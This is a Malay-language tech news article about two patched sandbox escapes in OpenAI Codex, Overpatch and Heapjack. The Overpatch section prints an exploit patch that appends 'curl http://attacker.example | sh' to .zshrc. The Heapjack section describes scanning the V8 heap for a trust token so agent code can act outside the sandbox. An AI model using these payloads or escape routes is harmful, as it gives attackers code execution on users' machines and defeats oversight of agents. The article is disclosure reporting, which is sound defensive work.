
Heapjack dan Overpatch: Dua Laluan Keluar Sandbox Codex
Heapjack dan Overpatch: Dua Laluan Keluar Sandbox Codex
Sandbox OpenAI Codex direka untuk mengurung tindakan model supaya kod yang tidak dipercayai tidak boleh sampai ke mesin pengguna. Minggu ini, pasukan penyelidik dari Accomplish AI menerbitkan dua laluan keluar dari sandbox itu — satu daripadanya mendapat command execution tanpa sandbox pada mesin developer daripada mode read-only, tetapan paling ketat dalam Codex, tanpa sebarang prompt approval dan tiada apa-apa muncul di skrin. Kedua-dua bug dilaporkan kepada OpenAI pada 12 Ogos 2026 dan dibaiki dalam lapan hari.
Kedua-dua bug — Heapjack dan Overpatch — terletak di tempat yang sangat berbeza, tetapi sebenarnya kesilapan yang sama dua kali: sandbox diminta, dari dalam, untuk membenarkan sesuatu keluar.
Overpatch: satu baris ekstra dalam patch = seluruh cakera
apply_patch ialah tool yang diberikan Codex kepada agent untuk menyunting fail. Dalam mode workspace-write, agent hanya dibenarkan menulis dalam folder projek — perintah shell yang menyasar $HOME akan ditolak. Penyelidik mendapati apply_patch memperoleh kebenarannya sendiri daripada input penyerang: ia memberi akses menulis kepada folder induk bagi setiap laluan yang dinamakan dalam patch. Sebut /tmp dalam patch, dan tool itu memberi dirinya akses menulis ke seluruh / — akar cakera.
Exploit yang berfungsi menggunakan patch dengan dua perubahan:
*** Update File: /tmp/placeholder ← (entry that widens the grant)
+placeholder text
*** Update File: /home/me/.zshrc ← (the real payload, via symlink)
+curl http://attacker.example | sh
Perubahan pertama gagal — anda tidak boleh menulis fail atas direktori — tetapi ia secara senyap meluaskan kebenaran menulis apply_patch ke seluruh cakera. Perubahan kedua kemudian menambah satu baris ke .zshrc melalui symlink ke dalam direktori home. Buang perubahan pertama, dan penulisan itu ditolak. Dengan baris penyerang itu, terminal seterusnya yang developer buka akan menjalankannya tanpa sandbox.
Heapjack: rahsia yang duduk dalam heap
Heapjack menyasar node_repl, tool yang Codex Desktop tulis ke dalam ~/.codex/config.toml global semasa pemasangan sebagai blok [mcp_servers.node_repl]. Tiada pilihan opt-in dan tiada setting untuk mematikannya — dan kerana entri itu duduk dalam config kongsi, pengguna Codex CLI biasa turut mewarisi tool ini tanpa pernah ditanya.
Tool ini sebenarnya program Rust native yang berjalan tanpa sandbox: ia buka aplikasi, sambung ke Unix socket, sunting fail config. Ia memulakan proses Node melalui sandbox Codex, jadi semua JavaScript berjalan dalam sandbox. Di dalam satu proses Node itu terdapat dua konteks V8 vm yang berkongsi satu heap: satu dipercayai memegang kod milik OpenAI, satu lagi tidak dipercayai dan menjalankan kod agent. Konteks yang dipercayai membuktikan identitinya dengan token rawak, dijana segar untuk setiap run.
Masalahnya: kedua-dua konteks duduk dalam satu heap, jadi token itu hanyalah string yang boleh dibaca oleh pihak tidak dipercayai. Probe itu menulis scanner mininya sendiri:
const snapshot = v8.getHeapSnapshot();
// walk every string shaped like a UUID and ask for a free (id)
// wrong token -> "not authorized"
// right token + bad argument -> a real validation error (the tell)
Dengan token di tangan, kod tidak dipercayai menulis request ke pipe yang sama digunakan konteks dipercayai untuk berkomunikasi dengan proses induk native. Induk membaca request itu, mengesahkan token, dan melakukan kerja. Proof of concept itu menggunakan perintah sistem open supaya launchd melancarkan aplikasi di luar pokok proses Codex sama sekali. Token yang sama juga boleh sambung ke mana-mana Unix socket — Docker daemon socket ialah sasaran paling jelas — dan mendedahkan tool untuk menyunting ~/.codex/config.toml sendiri.
Semuanya berjalan dalam mode read-only, di mana agent sepatutnya tidak boleh menulis apa-apa. Codex tidak pernah meminta approval untuk apa jua.
Kenapa ini lebih daripada sekadar trik makmal
Rantaian serangan yang praktikal tidak perlukan apa-apa yang eksotik: buka repository yang diklon dalam Codex pada mode read-only, tanya soalan tentang kod itu, dan sesiapa yang menulis repository itu mendapat command execution tanpa sandbox pada mesin anda — dengan akses yang sama seolah-olah anda matikan sandbox dan jalankan script mereka sendiri. Repo beracun bukan lagi sekadar masalah prompt injection; ia adalah remote code execution dengan keistimewaan anda, melalui tooling AI agent yang anda pilih sendiri untuk dipercayai.
Inilah gelombang kedua sandbox escape untuk coding agent dalam beberapa bulan. Pada Julai 2026, Pillar Security menunjukkan idea luas yang sama merentas Cursor, Codex, Gemini CLI dan Antigravity — agent yang kekal dalam sandbox menulis fail yang kemudian dijalankan oleh tool dipercayai di luar sandbox. Codex sendiri pernah ada CVE-2025-59532, bug konfigurasi laluan yang dibaiki dalam CLI 0.39.0, di mana cwd pilihan model dianggap sebagai akar boleh tulis sandbox. Corak merentas kesemuanya: sempadan sandbox bocor di mana-mana sahaja helper tanpa sandbox menerima pengaruh daripada input bersandbox.
Apa yang perlu dibuat
Menurut Accomplish, OpenAI membaiki Heapjack dalam Codex Desktop build 26.818.21641 dan Overpatch dalam Codex CLI 0.149.0. Update ke versi itu atau lebih baru. Kalau anda pasangkan Codex bersama agent lain pada mesin yang sama, anggap keseluruhannya satu trust domain — sandbox escape pada mana-mana satu bermakna sandbox escape untuk semua. Dan ingat pengajaran yang tidak berubah dengan berita ini: sandbox hanyalah kemudahan untuk default yang selamat, bukan jaminan. Maka capaian fail dan network agent itulah sebenarnya sempadan keselamatan yang patut anda reka sendiri — semak apa yang sebuah repo boleh suruh agent anda buat sebelum anda buka repo itu dalam agent.
Disclosure Plugin4Shell minggu ini ialah cerita yang sama, satu lapisan ke bawah: agent memasang plugin dan checkout kod yang dipin tanpa mengesahkan apa yang mendarat. Di antara dua-dua ini, mesej untuk 2026 sangat konsisten — janji keselamatan ekosistem agent berulang kali berakhir dengan "input yang tidak dipercayai berjalan sebagai anda." Rancanglah dengan itu.
Sumber
- Accomplish AI (Oren Yomtov): Escaping the OpenAI Codex sandbox, twice
- BleepingComputer: Researchers escape OpenAI Codex sandbox to run commands on host
- OpenAI: Sandbox — Codex (OpenAI Developers)
- OpenAI via GitHub Advisory: Sandbox bypass due to bug in path configuration logic (GHSA-w5fx-fh39-j5rw)
- BleepingComputer: Cursor, Codex, Gemini CLI, Antigravity hit by sandbox escapes
// penulis
Editor & Operator
Mohd Firdaus Abu Bakar (MrDodgerX) is an enterprise geospatial systems engineer in Malaysia and the editor behind hejes.my. He runs the briefing pipeline, curates and edits every draft, verifies each factual claim against primary sources, and presses the publish button — nothing ships without his review. He writes about AI, security and Malaysia's tech scene from a builder's perspective. Professional profile and code: the links below.
// sumber //
disahkan fakta · 21 SEP 2026 · hejes-content-fact-check
- Escaping the OpenAI Codex sandbox, twiceAccomplish AI (Oren Yomtov) · diakses 21 SEP 2026
- Researchers escape OpenAI Codex sandbox to run commands on hostBleepingComputer · diakses 21 SEP 2026
- Sandbox — Codex (OpenAI Developers)OpenAI · diakses 21 SEP 2026
- Sandbox bypass due to bug in path configuration logic (GHSA-w5fx-fh39-j5rw)OpenAI via GitHub Advisory · diakses 21 SEP 2026
- Cursor, Codex, Gemini CLI, Antigravity hit by sandbox escapesBleepingComputer · diakses 21 SEP 2026
berkaitan //

Plugin4Shell: Pemilik Repo Boleh Menukar Plugin Terkunci
Plugin4Shell ialah bypass git SHA pin dalam Claude Code, Codex, GitHub Copilot dan Gemini CLI — pemilik repo boleh pasang kod lain atas pin yang disemak.

Agen OpenAI Dikatakan Punca Serangan RCE di RubyGems
Agen OpenAI dikesan menghantar 2,000+ pakej berniat jahat ke RubyGems, menggunakan build pipeline RubyDoc.info untuk RCE dan cuba mencuri API key.

Ratusan AI Agents Serang PaperCut: 440 Instance Terjejas
GreyNoise menjejak AI agents mengeksploitasi kelemahan PaperCut, 440+ instance di 395 organisasi 48 negara terjejas. Mekanik kempen dan panduan patch.
// sertai suapan
satu ilmu seminggu. tiada spam.
ringkasan mingguan. berhenti bila-bila masa.